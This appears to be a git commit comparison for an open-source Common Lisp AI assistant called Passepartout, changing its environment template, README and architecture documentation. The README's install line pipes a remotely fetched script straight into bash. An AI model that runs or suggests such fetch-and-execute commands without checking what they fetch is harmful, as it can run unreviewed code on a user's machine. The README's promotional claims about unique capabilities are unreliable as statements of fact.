Compare commits
104 Commits
feat/dispa
...
v0.3.0
| Author | SHA1 | Date | |
|---|---|---|---|
| d50d72656c | |||
| 9d591c85f1 | |||
| 15afa2bb52 | |||
| 42e07801ce | |||
| 1d91fcc6cc | |||
| 9e451841ce | |||
| 0b16c4829f | |||
| 39b6bef6e0 | |||
| 9130e08e92 | |||
| 183aeeedb8 | |||
| 1f8b821287 | |||
| 7d7a4be668 | |||
| 7c9cc629a1 | |||
| 750918527d | |||
| 9362c56678 | |||
| 26bfce61f1 | |||
| adea3714a7 | |||
| 712717a20c | |||
| ca70a61338 | |||
| 717d63d84a | |||
| 61ea5767d6 | |||
| cd86509e3a | |||
| 035aac45e3 | |||
| 299d501c88 | |||
| a2ede2dd89 | |||
| 23b8cfacd3 | |||
| 9281e37c01 | |||
| ad8242fee6 | |||
| 3d237e9c78 | |||
| 26d917dbc4 | |||
| 057bf9f3a8 | |||
| e0ff6a7563 | |||
| 7a455279b9 | |||
| a34b598858 | |||
| dcb5a1f1a6 | |||
| ea1150f38e | |||
| e5440487d4 | |||
| cfeb4e192c | |||
| 9dd0ed2f78 | |||
| 817d1c5fec | |||
| 11383a29d4 | |||
| 94b939f61a | |||
| d782f58291 | |||
| d8929aeb24 | |||
| 78705f55ec | |||
| f9ae84ba88 | |||
| a437b9c0df | |||
| 1456e59f7f | |||
| 740ff3bb89 | |||
| be6e14a62e | |||
| 54ce3713cd | |||
| cbbf409059 | |||
| 3c1ed77c85 | |||
| 9d7942dc1c | |||
| 8a7259c5c8 | |||
| d1951668cc | |||
| 1b4d147170 | |||
| 5ab54091c1 | |||
| 619407c6e6 | |||
| eb99847ccd | |||
| abfb7e5cf8 | |||
| 02e0c21f06 | |||
| 2e19db80ce | |||
| 31e53e675e | |||
| 3bb797ab9e | |||
| ef4ea1db1b | |||
| 908936d4d3 | |||
| 7dad50910f | |||
| 59fef20630 | |||
| 7393e69397 | |||
| 3c3557f519 | |||
| b728f73ded | |||
| ff64556924 | |||
| f27ab1f779 | |||
| d51e85bc9d | |||
| 9799b9db74 | |||
| b4150a9771 | |||
| 5d93f201be | |||
| a27a3d02b0 | |||
| 4ee85f3df0 | |||
| aedcfeda9f | |||
| 2af882852c | |||
| 4e5428bed0 | |||
| e5723cfd7f | |||
| ee81fa2755 | |||
| c2d3abe265 | |||
| e31ebb394c | |||
| b27ac4cd7f | |||
| deb30d25a9 | |||
| ce90fd3e72 | |||
| a16f973b50 | |||
| 3f51a772d4 | |||
| bbc5e4d8bf | |||
| e0a47575e9 | |||
| a77580c449 | |||
| 5e7b1cee33 | |||
| 231c3bb445 | |||
| 70c9a8775c | |||
| 529f8d0782 | |||
| 22697baa2d | |||
| 9151f4eff7 | |||
| a027e9d984 | |||
| b67cd12d88 | |||
| 836c9ba7b8 |
17
.env.example
17
.env.example
@@ -19,21 +19,25 @@ DEEPSEEK_API_KEY="your_deepseek_key_here"
|
||||
NVIDIA_API_KEY="your_nvidia_nim_key_here"
|
||||
|
||||
# Cascade order (first available provider wins)
|
||||
PROVIDER_CASCADE="openrouter,openai,anthropic,groq,gemini-api,ollama"
|
||||
# Default (if unset): openrouter,openai,anthropic,groq,gemini-api,deepseek,nvidia
|
||||
PROVIDER_CASCADE=deepseek,openrouter,openai,anthropic,groq,gemini,nvidia
|
||||
|
||||
# =============================================================================
|
||||
# LOCAL LLM (Ollama - runs offline)
|
||||
# LOCAL LLM (generic OpenAI-compatible endpoint)
|
||||
# =============================================================================
|
||||
# Set this to the base URL of any local OpenAI-compatible server
|
||||
# (llama.cpp, Ollama, vLLM, LM Studio, etc.)
|
||||
LOCAL_BASE_URL="localhost:8080"
|
||||
|
||||
# Ollama host (legacy: falls back to LOCAL_BASE_URL if not set)
|
||||
OLLAMA_HOST="localhost:11434"
|
||||
|
||||
# llama.cpp backend (for local GGUF models)
|
||||
LLAMA_HOST="localhost:8080"
|
||||
|
||||
# =============================================================================
|
||||
# VECTOR EMBEDDINGS (semantic search)
|
||||
# =============================================================================
|
||||
EMBEDDING_PROVIDER="ollama" # "ollama" or "llama.cpp"
|
||||
EMBEDDING_PROVIDER="hashing" # "hashing" (local, no deps), "local", or "openai"
|
||||
EMBEDDING_MODEL="nomic-embed-text" # model name for embeddings
|
||||
EMBEDDING_BASE_URL="https://api.openai.com/v1" # for :openai provider
|
||||
|
||||
# =============================================================================
|
||||
# MESSAGING GATEWAYS (optional)
|
||||
@@ -86,3 +90,4 @@ AREAS_DIR="$HOME/memex/areas"
|
||||
RESOURCES_DIR="$HOME/memex/resources"
|
||||
ARCHIVES_DIR="$HOME/memex/archives"
|
||||
SYSTEM_DIR="$HOME/memex/system"
|
||||
LLM_REQUEST_TIMEOUT=30
|
||||
|
||||
4
.gitignore
vendored
4
.gitignore
vendored
@@ -9,4 +9,6 @@ test_input.txt
|
||||
|
||||
# Generated artifacts (source of truth is .org)
|
||||
/skills/*.lisp
|
||||
/tests/*.lisp
|
||||
/tmp/*.lisp
|
||||
*.fasl
|
||||
docs/#DESIGN_DECISIONS.org# docs/DESIGN_DECISIONS.org~
|
||||
|
||||
161
README.org
161
README.org
@@ -1,66 +1,145 @@
|
||||
#+TITLE: Passepartout — Your Autonomous, Plain-Text Life Assistant
|
||||
#+TITLE: Passepartout — The Plain-Text AI Assistant That Never Gets More Expensive
|
||||
#+AUTHOR: Amr
|
||||
#+FILETAGS: :passepartout:ai:assistant:
|
||||
|
||||
#+HTML: <div style="display: flex; gap: 8px; flex-wrap: wrap; margin-bottom: 1em;">
|
||||
#+HTML: <img src="https://img.shields.io/github/v/tag/amrgharbeia/opencortex?label=version&style=flat-square">
|
||||
#+HTML: <img src="https://img.shields.io/github/license/amrgharbeia/opencortex?style=flat-square">
|
||||
#+HTML: <img src="https://img.shields.io/badge/Lisp-Common%20Lisp-blue?style=flat-square">
|
||||
#+HTML: <img src="https://img.shields.io/badge/docs-Org--mode-green?style=flat-square">
|
||||
#+HTML: <img src="https://img.shields.io/badge/version-v0.3.0-blue?style=flat-square">
|
||||
#+HTML: <img src="https://img.shields.io/badge/license-AGPLv3-green?style=flat-square">
|
||||
#+HTML: <img src="https://img.shields.io/badge/Lisp-Common%20Lisp-forestgreen?style=flat-square">
|
||||
#+HTML: <img src="https://img.shields.io/badge/docs-Org--mode-darkgreen?style=flat-square">
|
||||
#+HTML: </div>
|
||||
|
||||
Passepartout is an AI assistant that runs in your terminal, reads and writes your Org-mode files, executes tasks through a verified safety gate, and works fully offline with local LLMs. Everything it knows is a folder of plain text files that you own.
|
||||
Passepartout is an AI assistant that runs in your terminal. It reads and writes your Org-mode files, executes tasks through a verified safety gate, and works fully offline with local LLMs. Every action the LLM proposes is checked by nine deterministic safety gates before it touches a file, runs a command, or sends a message. The LLM suggests. The gate decides.
|
||||
Everything it knows is a folder of plain text files that you own.
|
||||
|
||||
**One-line install:**
|
||||
*Install:*
|
||||
|
||||
#+begin_src bash
|
||||
curl -fsSL https://raw.githubusercontent.com/amrgharbeia/opencortex/main/passepartout | bash -s configure
|
||||
curl -fsSL https://raw.githubusercontent.com/amrgharbeia/passepartout/main/passepartout | bash -s configure
|
||||
#+end_src
|
||||
|
||||
Then ~passepartout tui~ to start chatting.
|
||||
This installs dependencies (SBCL, Quicklisp), tangles the Org source files, and runs the setup wizard for LLM providers. Requires curl and sudo access for package installation.
|
||||
|
||||
* What Makes Passepartout Different
|
||||
|
||||
** Every action is verified, not trusted.
|
||||
|
||||
Most AI agents add safety checks as an afterthought — prompt-based guardrails that consume LLM tokens and can be evaded with clever phrasing. Passepartout inverts this: nine deterministic safety gates run in pure Lisp between the LLM's proposal and execution. Secret scanning checks for API key leaks. Path protection blocks reads and writes to sensitive files. Shell safety detects destructive commands and injection vectors. Network exfiltration detection flags unauthorized outbound connections. Lisp syntax validation catches malformed code before it writes to disk.
|
||||
|
||||
Every gate costs 0 LLM tokens. Every gate is a Common Lisp function, not a prompt. Every gate runs for every action, unconditionally.
|
||||
|
||||
If a gate blocks a proposal, the rejection feedback goes back to the LLM so it can self-correct and try again. If the deterministic Dispatcher is uncertain, it creates a Flight Plan — a human-readable Org buffer you review and approve. The human decides. The Dispatcher learns from your decision and writes a rule for next time.
|
||||
|
||||
** The more you use it, the cheaper it gets.
|
||||
|
||||
Passepartout has a downward cost curve. This runs counter to every other AI agent.
|
||||
|
||||
Here is why. When you use Passepartout, the Dispatcher observes every blocked action and every human-approved exception. Each decision becomes a deterministic rule. A file write you approved once becomes an allowed path pattern. A shell command you denied becomes a permanent block. Each hardened rule means one fewer LLM call next time.
|
||||
|
||||
Meanwhile, the foveal-peripheral context model prunes your [[https://en.wikipedia.org/wiki/Memex][memex]] — your personal knowledge base, a term coined by Vannevar Bush in 1945 for a mechanised private library — to the relevant Org subtrees before sending anything to the LLM. The agent does not load your entire knowledge base, or even the entire file like agents that use Markdown do — it loads precisely the headlines that matter. Less context in, fewer tokens out.
|
||||
|
||||
Other agents grow more expensive over time (context histories accumulate, safety instructions grow). Passepartout's cost curve bends down.
|
||||
|
||||
** It edits its own source code. Verified before execution.
|
||||
|
||||
Passepartout can read its own Org-mode source files, propose changes, and hot-reload skills into the running image without restarting. The skill engine loads every skill into a jailed Common Lisp package, validates its syntax, tests its trigger function in isolation, and only then promotes it to the live registry.
|
||||
|
||||
Core pipeline files — the Perceive-Reason-Act loop, the Merkle-tree memory, the Dispatcher gate stack — are path-protected. The agent could modify its own brain stem, but it cannot do this without human review. Skills and system modules expand freely. The core stays small, protected, and auditable.
|
||||
|
||||
No other AI agent can modify its own reasoning engine and reload the change while it is running. This is not a planned feature. It works today.
|
||||
|
||||
** Your memory and your tasks are the same format. Org-mode.
|
||||
|
||||
Passepartout makes a bet that most systems consider too expensive: humans and machines should share the same file format. That format is Org-mode.
|
||||
|
||||
Your notes, your calendar, your project plans, the agent's memory, and the agent's own source code are all the same thing: Org files in ~/memex/. =headline trees. Property drawers for metadata. Source blocks for code. TODO keywords for task state. Tags for categorization.
|
||||
|
||||
When you write a TODO in Emacs, the agent sees it immediately as a native data structure and acts on it. When the agent creates a note, you can open it in any text editor and read it. There is no import/export step, no hidden database (except maybe for indexing), no format conversion. If Passepartout stops existing tomorrow, your data survives in plain text, readable in 2040.
|
||||
|
||||
** Works offline. Works locally. The safety doesn't stop.
|
||||
|
||||
You can run Passepartout entirely on your hardware with a local LLM via Ollama or some other inference engine. No internet connection required. But unlike most local AI tools, offline mode does not mean safety-last. The nine deterministic safety gates are pure Common Lisp — they run identically whether you are online or off. The Merkle-tree memory with snapshot rollback is in-process, 0 milliseconds, 0 network calls. Semantic retrieval runs on in-image vectors, 0 LLM tokens per query.
|
||||
|
||||
Cloud providers (OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA NIM...) are optional add-ons. When you use them, the model-tier router automatically selects the cheapest provider that matches your task's complexity. Privacy-tagged content stays local even when cloud providers are configured.
|
||||
|
||||
* How It Works
|
||||
|
||||
Every signal — a chat message, a heartbeat tick, a file change notification — moves through three stages:
|
||||
|
||||
#+begin_example
|
||||
Signal → Perceive → Reason → Act
|
||||
normalize LLM proposes dispatch approved action
|
||||
gates verify tool output feeds back
|
||||
#+end_example
|
||||
|
||||
*Perceive* normalizes raw input from any gateway (TUI, CLI, Telegram, Signal) into a uniform signal plist. Buffer updates from Emacs ingest Org AST nodes into memory. Heartbeat ticks trigger background maintenance. HITL commands intercept before the LLM is invoked.
|
||||
|
||||
*Reason* calls the LLM to generate a proposal, then runs the proposal through every registered deterministic gate — sorted by priority, highest first. If a gate rejects (shell command blocked, path protected, secret exposed), the rejection trace feeds back to the LLM for self-correction, up to three retries. If a gate requests human approval, the action becomes a Flight Plan awaiting your decision. If all gates pass, the action proceeds to Act.
|
||||
|
||||
*Act* dispatches the approved action to the correct actuator: shell commands go to the shell actuator (with timeout and output limiting), tool invocations go to the cognitive tool registry, system commands trigger internal harness operations, and chat responses route to the TUI or messaging gateway. Each stage can feed back into Perceive — a tool output becomes the next perception.
|
||||
|
||||
This pipeline is not a single-threaded bottleneck. The priority-queued signal processor (v0.5.0 roadmap) preempts background maintenance for user interactions. The Merkle-tree memory supports concurrent reads and writes through versioned snapshots — multiple signals can process simultaneously without corrupting shared state.
|
||||
|
||||
Deep detail: [[file:docs/ARCHITECTURE.org][Architecture]] for the full code map and pipeline flow, [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] for the rationale behind every architectural choice.
|
||||
|
||||
* Current Capabilities
|
||||
|
||||
Features marked =Stable= ship in the current release. Features marked =Planned= are scheduled in the [[file:docs/ROADMAP.org][Roadmap]].
|
||||
|
||||
| Capability | Status | Since | Notes |
|
||||
|----------------------------------+----------+---------+----------------------------------------------------------------------|
|
||||
| 9-vector deterministic safety | Stable | v0.2.0 | Secrets, paths, shells, network, lisp, privacy |
|
||||
| Foveal-peripheral context model | Stable | v0.2.0 | Sends relevant subtrees, not all files |
|
||||
| Merkle-tree memory + snapshots | Stable | v0.2.0 | Integrity hashing, copy-on-write rollback |
|
||||
| Self-editing + hot-reload | Stable | v0.2.0 | Agent reads, modifies, reloads its own code |
|
||||
| 8 provider cascade | Stable | v0.1.0 | OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA, local |
|
||||
| Terminal UI (Croatoan) | Stable | v0.2.0 | Scrollback, history, themes, commands, tab completion |
|
||||
| Skill engine (20+ skills) | Stable | v0.1.0 | Jailed loading, topological sort, hot-reload |
|
||||
| Human-in-the-Loop approval | Stable | v0.3.0 | Flight Plan workflow for blocked actions |
|
||||
| Model-tier routing | Stable | v0.3.0 | Sends simple tasks to cheaper models |
|
||||
| Event orchestrator (hooks + cron) | Stable | v0.3.0 | Org-based hook and cron dispatch |
|
||||
| Context manager (project scoping) | Stable | v0.3.0 | Push/pop focus, persist across restart |
|
||||
| Semantic retrieval (embeddings) | Stable | v0.3.0 | In-image vector lookup, 0 LLM tokens |
|
||||
| TUI gate trace + focus map | Planned | v0.4.0 | Visual safety trace + what the agent is looking at |
|
||||
| Emacs bridge | Planned | v0.4.0 | Native Emacs client over the wire protocol |
|
||||
| Self-build safety boundary | Planned | v0.4.0 | Core files path-protected, Flight Plan required |
|
||||
| Discord + Slack gateways | Planned | v0.4.0 | Messaging alongside Telegram and Signal |
|
||||
| Token economics + cost tracking | Planned | v0.5.0 | Per-session cost counter, prompt caching, budget enforcement |
|
||||
| Priority-queue signal processing | Planned | v0.6.0 | Preempts background for user interactions |
|
||||
| MVCC memory concurrency | Planned | v0.6.1 | Concurrent reads/writes on Merkle tree |
|
||||
| Structured output enforcement | Planned | v0.6.2 | Plist validation with retry and feedback |
|
||||
| Streaming responses | Planned | v0.6.3 | Live output in TUI, interrupt-and-redirect |
|
||||
| MCP-native tool ecosystem | Planned | v0.7.0 | 50+ tools from the MCP ecosystem |
|
||||
| Voice gateway | Planned | v0.7.3 | Speech-to-text + text-to-speech via Whisper / ElevenLabs |
|
||||
| Task planning (tree DAG) | Planned | v0.8.0 | Org headline task trees, branch pruning |
|
||||
| Skill creator | Planned | v0.8.0 | LLM drafts skills from natural language, verified before load |
|
||||
| Computer use / vision | Planned | v0.9.0 | Screenshot capture, UI interaction |
|
||||
| SWE-bench evaluation harness | Planned | v0.9.0 | Automated benchmark scoring with Org trajectory audit |
|
||||
| Consensus loop (multi-provider) | Planned | v0.10.0 | Parallel inference, disagreement detection |
|
||||
| GTD integration | Planned | v0.10.0 | Full capture-clarify-organize-reflect-engage |
|
||||
| Deep Emacs integration | Planned | v0.10.0 | Org-agenda, clock time, refile, archive |
|
||||
|
||||
* Quick Start
|
||||
|
||||
You need SBCL (Common Lisp), git, and curl.
|
||||
After installation, the =passepartout= command is available from anywhere.
|
||||
|
||||
#+begin_src bash
|
||||
git clone https://github.com/amrgharbeia/opencortex.git ~/projects/passepartout
|
||||
cd ~/projects/passepartout
|
||||
./passepartout configure # install deps, tangle, setup wizard
|
||||
passepartout tui # launch the terminal interface
|
||||
passepartout tui # launch the terminal interface
|
||||
passepartout daemon # start the background daemon (for TUI/CLI/gateways)
|
||||
passepartout doctor # run system health check
|
||||
#+end_src
|
||||
|
||||
See [[file:docs/USER_MANUAL.org][User Manual]] for the full guide.
|
||||
|
||||
* Why Passepartout
|
||||
|
||||
** Your data stays yours.** No database, no vector store, no cloud silo. Your entire memory is a folder of Org files. You can read them with any text editor, search them with grep, and back them up however you like. If Passepartout stops existing, your data doesn't disappear.
|
||||
|
||||
** The LLM can't do damage.** Every action the LLM proposes passes through a deterministic safety gate before it touches a file, runs a command, or sends a message. The LLM suggests; the gate decides. Hallucinations are blocked, not corrected after the fact.
|
||||
|
||||
** Runs on your hardware.** Works fully offline with Ollama and local models. Cloud providers (OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA NIM) are optional add-ons.
|
||||
|
||||
** Written in Common Lisp.** Code is data. The agent reads its own source the same way it reads a text file — it parses, modifies, and hot-reloads its skills without restarting. One language from the kernel to the TUI to the build system.
|
||||
|
||||
* Architecture
|
||||
|
||||
- [[file:org/core-loop.org][Metabolic Loop]] — Perceive → Reason → Act, the fundamental cognitive cycle
|
||||
- [[file:org/security-dispatcher.org][Dispatcher]] — 9-vector safety gate: secret scanning, path protection, shell safety, lisp validation, network exfiltration, privacy filtering
|
||||
- [[file:org/core-memory.org][Memory]] — Single-address-space object store with Merkle-tree integrity and snapshot rollback
|
||||
- [[file:org/core-skills.org][Skill Engine]] — 20 hot-reloadable skills loaded at boot, each an independent Org file
|
||||
- [[file:org/gateway-tui.org][TUI]] — Croatoan-based terminal interface connected via framed TCP protocol
|
||||
- [[file:org/gateway-llm.org][LLM Routing]] — Cascade dispatch through multiple providers with tier-based model selection
|
||||
|
||||
* Project Documentation
|
||||
|
||||
| Document | Answers |
|
||||
|----------|---------|
|
||||
| [[file:docs/USER_MANUAL.org][User Manual]] | How do I use it? |
|
||||
| [[file:docs/ARCHITECTURE.org][Architecture]] | How does it work inside? |
|
||||
| [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] | Why was it built this way? |
|
||||
| [[file:docs/ROADMAP.org][Roadmap]] | Where is it going? When? |
|
||||
| [[file:docs/ROADMAP.org][TODO]] | Who is doing what? |
|
||||
| [[file:docs/CONTRIBUTING.org][Contributing]] | How do I contribute? |
|
||||
| Document | Answers |
|
||||
|-------------------------------------------+-------------------------------------------------------|
|
||||
| [[file:docs/USER_MANUAL.org][User Manual]] | How do I use it? |
|
||||
| [[file:docs/ARCHITECTURE.org][Architecture]] | How does it work inside? |
|
||||
| [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] | Why was it built this way? |
|
||||
| [[file:docs/ROADMAP.org][Roadmap]] | Where is it going? When? |
|
||||
| [[file:docs/CONTRIBUTING.org][Contributing]] | How do I contribute? |
|
||||
|
||||
* License
|
||||
|
||||
|
||||
@@ -6,40 +6,35 @@
|
||||
|
||||
Passepartout divides cognition along two axes: **Foreground vs Background** (initiated by the user vs running autonomously) and **Probabilistic vs Deterministic** (LLM-driven vs pure Lisp logic).
|
||||
|
||||
| | Probabilistic (LLM) | Deterministic (Lisp) |
|
||||
|----------------|--------------------|---------------------|
|
||||
| **Foreground** | Chat responses, task execution, code generation | Shell execution, file I/O, safety gates, dispatcher checks |
|
||||
| **Background** | Scribe distillation, vector embedding, autonomous decisions | Heartbeat, cron jobs, memory auto-save, gateway polling |
|
||||
| | Probabilistic (LLM) | Deterministic (Lisp) |
|
||||
|----------------+-------------------------------------------------------------+------------------------------------------------------------|
|
||||
| **Foreground** | Chat responses, task execution, code generation | Shell execution, file I/O, safety gates, dispatcher checks |
|
||||
| **Background** | Scribe distillation, vector embedding, autonomous decisions | Heartbeat, cron jobs, memory auto-save, gateway polling |
|
||||
|
||||
The Probabilistic engine proposes. The Deterministic engine verifies and executes. No proposal from the LLM touches a file, runs a command, or sends a message without passing through at least one deterministic gate.
|
||||
|
||||
* Code Map
|
||||
* Architectural Layers
|
||||
|
||||
The project is organized into ~org/~ (source of truth) and ~lisp/~ (generated by tangle).
|
||||
|
||||
** Core pipeline (loaded by ASDF, committed to git)
|
||||
|
||||
| File | Purpose |
|
||||
|------|---------|
|
||||
| ~org/core-defpackage.org~ | Package definition and export list |
|
||||
| ~org/core-skills.org~ | Skill engine: ~defskill~ macro, topological sorter, jailed loading |
|
||||
| ~org/core-communication.org~ | Framed TCP protocol, actuator registry, daemon server |
|
||||
| ~org/core-memory.org~ | ~memory-object~ struct, Merkle hashing, snapshots, persistence |
|
||||
| ~org/core-context.org~ | Foveal-peripheral rendering, context assembly for LLM |
|
||||
| ~org/core-loop-perceive.org~ | Stage 1: normalize raw signals into pipeline format |
|
||||
| ~org/core-loop-reason.org~ | Stage 2: LLM proposal + deterministic verification |
|
||||
| ~org/core-loop-act.org~ | Stage 3: dispatch approved actions to actuators |
|
||||
| ~org/core-loop.org~ | Orchestration: process-signal, heartbeat, main entry point |
|
||||
| ~org/system-diagnostics.org~ | Boot-time health check, doctor CLI |
|
||||
** Core Pipeline (loaded by ASDF — the harness)
|
||||
- package definition: defpackage, cognitive tools, logging
|
||||
- memory: memory-object struct, Merkle hashing, snapshots, persistence
|
||||
- context: foveal-peripheral rendering, context assembly for LLM
|
||||
- pipeline: perceive → reason → act stages, orchestrator, heartbeat
|
||||
- skills engine: defskill macro, topological sorter, jailed loading
|
||||
- communication: framed TCP protocol, actuator registry, daemon server
|
||||
- diagnostics: health checks, doctor CLI
|
||||
|
||||
** Skills (loaded at runtime by the skill engine)
|
||||
- gateway: TUI, CLI, messaging (Telegram, Signal)
|
||||
- system-model: provider dispatch, router, embeddings, model explorer
|
||||
- security: dispatcher (safety gate), policy, permissions, validator, vault
|
||||
- programming: Lisp, Org, literate tools, REPL, standards
|
||||
- system: config, archivist, self-improve, memory introspection, shell actuator, event-orchestrator, context-manager, setup
|
||||
|
||||
| Category | Files | Purpose |
|
||||
|----------|-------|---------|
|
||||
| **gateway-** | ~gateway-cli~, ~gateway-llm~, ~gateway-manager~, ~gateway-provider~, ~gateway-tui~ | External communication channels |
|
||||
| **security-** | ~security-dispatcher~, ~security-policy~, ~security-permissions~, ~security-vault~, ~security-validator~ | Safety and authorization |
|
||||
| **programming-** | ~programming-lisp~, ~programming-org~, ~programming-standards~, ~programming-literate~, ~programming-repl~ | Lisp and Org tooling |
|
||||
| **system-** | ~system-config~, ~system-archivist~, ~system-self-improve~, ~system-memory~, ~system-actuator-shell~, ~system-event-orchestrator~ | Background services |
|
||||
** Clients (connect to daemon via framed TCP protocol)
|
||||
- TUI: Croatoan-based terminal interface (model-view architecture, dirty-flag rendering)
|
||||
- CLI: pipe-friendly command-line gateway
|
||||
- Emacs: elisp bridge speaking the wire protocol (planned v0.4.0)
|
||||
|
||||
* Pipeline Flow
|
||||
|
||||
@@ -61,21 +56,69 @@ Each stage can produce feedback signals that loop back to Perceive (e.g., a tool
|
||||
|
||||
A depth counter prevents infinite loops. If a signal's depth exceeds 10, it is silently dropped. This is the circuit breaker for runaway recursive cycles.
|
||||
|
||||
* Foveal-Peripheral Context Model
|
||||
|
||||
When the agent assembles context for the LLM, it does not send the entire memory. It renders a sparse outline using three rules:
|
||||
|
||||
1. *Depth ≤ 2* — the root node and its immediate children are always included (title and properties only, no content).
|
||||
2. *Foveal focus* — the node the user is currently interacting with is rendered in full, including its body content and all descendants.
|
||||
3. *Semantic relevance* — any node whose embedding vector has cosine similarity ≥ threshold (default 0.75) to the foveal node is rendered in full.
|
||||
|
||||
Nodes that don't match any rule are rendered as title-only — a single Org headline with its :ID: property. This keeps active context between 2,000–4,000 tokens for typical memex sizes, versus 50,000–150,000 tokens for a full serialization. The embedding vectors that power semantic retrieval are computed at ingest time (~ingest-ast~ in core-memory.lisp) and can use local models (Ollama), cloud APIs (OpenAI embeddings), or a zero-dependency lexical fallback (trigram Jaccard similarity).
|
||||
|
||||
For the rationale behind sparse-tree rendering and why this architecture outperforms "load everything" systems, see Design Decisions: Org-Mode as Unified AST.
|
||||
|
||||
* Dispatcher Gate Stack
|
||||
|
||||
Every action the LLM proposes passes through a stack of deterministic gates before execution. Gates are registered as skills with ~defskill~ and sorted by priority (highest first) in ~cognitive-verify~ (core-loop-reason.lisp).
|
||||
|
||||
| Priority | Gate | What It Checks |
|
||||
|----------+---------------------------+----------------------------------------------------------|
|
||||
| 600 | security-permissions | Tool permission table (allow/ask/deny per tool) |
|
||||
| 600 | security-vault | Credential storage integrity |
|
||||
| 500 | security-policy | Requires :explanation on every action |
|
||||
| 150 | security-dispatcher | 9-vector safety: secrets, paths, shell, lisp, network, |
|
||||
| | (the Dispatcher) | privacy, high-impact approval |
|
||||
| 95 | security-validator | Protocol schema validation |
|
||||
| 100 | system-archivist | Scribe and Gardener maintenance on heartbeat |
|
||||
| 80 | system-event-orchestrator | Cron job dispatch on heartbeat |
|
||||
|
||||
Gates return either the action (passed through unchanged), a rejection (:LOG or :EVENT with block reason), or an approval request (:EVENT with :level :approval-required). Rejections feed back to the LLM as a rejection trace — the model sees what it proposed, which gate blocked it, and why, and retries with that context (up to 3 retries). Approval requests create Flight Plan Org nodes requiring human review via the HITL workflow.
|
||||
|
||||
Every gate is a pure Common Lisp function. Verification costs 0 LLM tokens. Contrast with prompt-based guardrails (Claude Code, OpenClaw, Hermes Agent) which consume 100–500 LLM tokens per verification.
|
||||
|
||||
For the rationale behind deterministic vs prompt-based safety, see Design Decisions: The Probabilistic-Deterministic Split and The Dispatcher as Learning System.
|
||||
|
||||
* Embedding & Semantic Retrieval Pipeline
|
||||
|
||||
Every memory-object can carry an embedding vector for semantic search. The pipeline:
|
||||
|
||||
1. *Ingest* — ~ingest-ast~ (core-memory.lisp) calls ~embeddings-compute~ on new objects, storing the vector in ~memory-object-vector~.
|
||||
2. *Queue* — objects with stale vectors are queued via ~mark-vector-stale~. The ~embed-all-pending~ cron job (every 10 minutes, :REFLEX tier) drains the queue and recomputes vectors.
|
||||
3. *Retrieval* — ~context-awareness-assemble~ (core-context.lisp) passes the foveal node's vector to ~context-object-render~. Nodes with cosine similarity ≥ threshold against the foveal vector are rendered in full rather than as title-only.
|
||||
|
||||
Three backends are available, selected via ~EMBEDDING_PROVIDER~:
|
||||
- :local — Ollama-compatible /api/embeddings endpoint (e.g., nomic-embed-text)
|
||||
- :openai — OpenAI /v1/embeddings API (e.g., text-embedding-3-small)
|
||||
- :hashing — zero-dependency lexical fallback using trigram Jaccard similarity (replaced SHA-256 hashing in v0.4.0 because cryptographic hashes maximise output divergence — the opposite of what a similarity metric needs)
|
||||
|
||||
For the design rationale, see Design Decisions: Token Economics and Performance Advantage.
|
||||
|
||||
* Skill Lifecycle
|
||||
|
||||
1. **Discovery:** ~skill-initialize-all~ scans the skills directory, globs for ~*.lisp~ files (excluding ~core-*~ files which are loaded by ASDF)
|
||||
2. **Sorting:** ~skill-topological-sort~ orders skills by their ~#+DEPENDS_ON:~ declarations
|
||||
3. **Loading:** Each skill is loaded into a jailed package (~passepartout.skills.<skill-name>~). The loader removes ~in-package~ forms, evaluates the remaining code in the jailed package, and exports symbols matching the skill's short name to ~passepartout~
|
||||
4. **Registration:** The skill's ~defskill~ call creates a ~skill~ struct in ~*skill-registry*~, registering its trigger function, probabilistic prompt generator, deterministic gate, and system-prompt augment
|
||||
5. **Triggering:** On each cognitive cycle, ~skill-triggered-find~ iterates the registry and returns the highest-priority skill whose trigger matches the context
|
||||
6. **Hot-reload:** A skill can be replaced at runtime by loading a new version into its jailed package — no restart needed
|
||||
1. *Discovery:* ~skill-initialize-all~ scans the skills directory, globs for ~*.lisp~ files (excluding ~core-*~ files which are loaded by ASDF)
|
||||
2. *Sorting:* ~skill-topological-sort~ orders skills by their ~#+DEPENDS_ON:~ declarations
|
||||
3. *Loading:* Each skill is loaded into a jailed package (~passepartout.skills.<skill-name>~). The loader removes ~in-package~ forms, evaluates the remaining code in the jailed package, and exports symbols matching the skill's short name to ~passepartout~
|
||||
4. *Registration* The skill's ~defskill~ call creates a ~skill~ struct in ~*skill-registry*~, registering its trigger function, probabilistic prompt generator, deterministic gate, and system-prompt augment
|
||||
5. *Triggering:* On each cognitive cycle, ~skill-triggered-find~ iterates the registry and returns the highest-priority skill whose trigger matches the context
|
||||
6. *Hot-reload:* A skill can be replaced at runtime by loading a new version into its jailed package — no restart needed
|
||||
|
||||
* Protocol Format
|
||||
* Communication protocol Format
|
||||
|
||||
All communication between the daemon and its gateways (TUI, CLI, Emacs) uses length-prefixed plists over TCP:
|
||||
|
||||
```
|
||||
00002C(:TYPE :EVENT :PAYLOAD (:ACTION :handshake :VERSION "0.2.0"))
|
||||
00002C(:TYPE :EVENT :PAYLOAD (:ACTION :handshake :VERSION "0.3.0"))
|
||||
```
|
||||
|
||||
The 6-character hex prefix encodes the payload length. The payload is a ~prin1~-serialized plist. ~*read-eval*~ is bound to nil on the receiving end to prevent code injection.
|
||||
@@ -88,3 +131,7 @@ The 6-character hex prefix encodes the payload length. The payload is a ~prin1~-
|
||||
| ~:META~ | plist | ~:SOURCE~, ~:SESSION-ID~, ~:reply-stream~ |
|
||||
| ~:PAYLOAD~ | plist | Action-specific data (~:SENSOR~, ~:ACTION~, ~:TEXT~) |
|
||||
| ~:DEPTH~ | integer | Recursion counter for loop prevention |
|
||||
|
||||
The protocol lifecycle begins with a handshake: the daemon sends a :handshake action with its version, and the client responds with its capabilities. After handshake, either side can send any message type. The daemon never initiates a disconnect — clients poll for messages and reconnect on EOF.
|
||||
|
||||
Planned for v0.6.3: streaming chunk frames (~:type :stream-chunk~) carrying partial LLM output. The final chunk is an empty string signalling end-of-stream, enabling interrupt-and-redirect from the client side.
|
||||
|
||||
@@ -1,71 +0,0 @@
|
||||
#+TITLE: Changelog
|
||||
#+STARTUP: content
|
||||
|
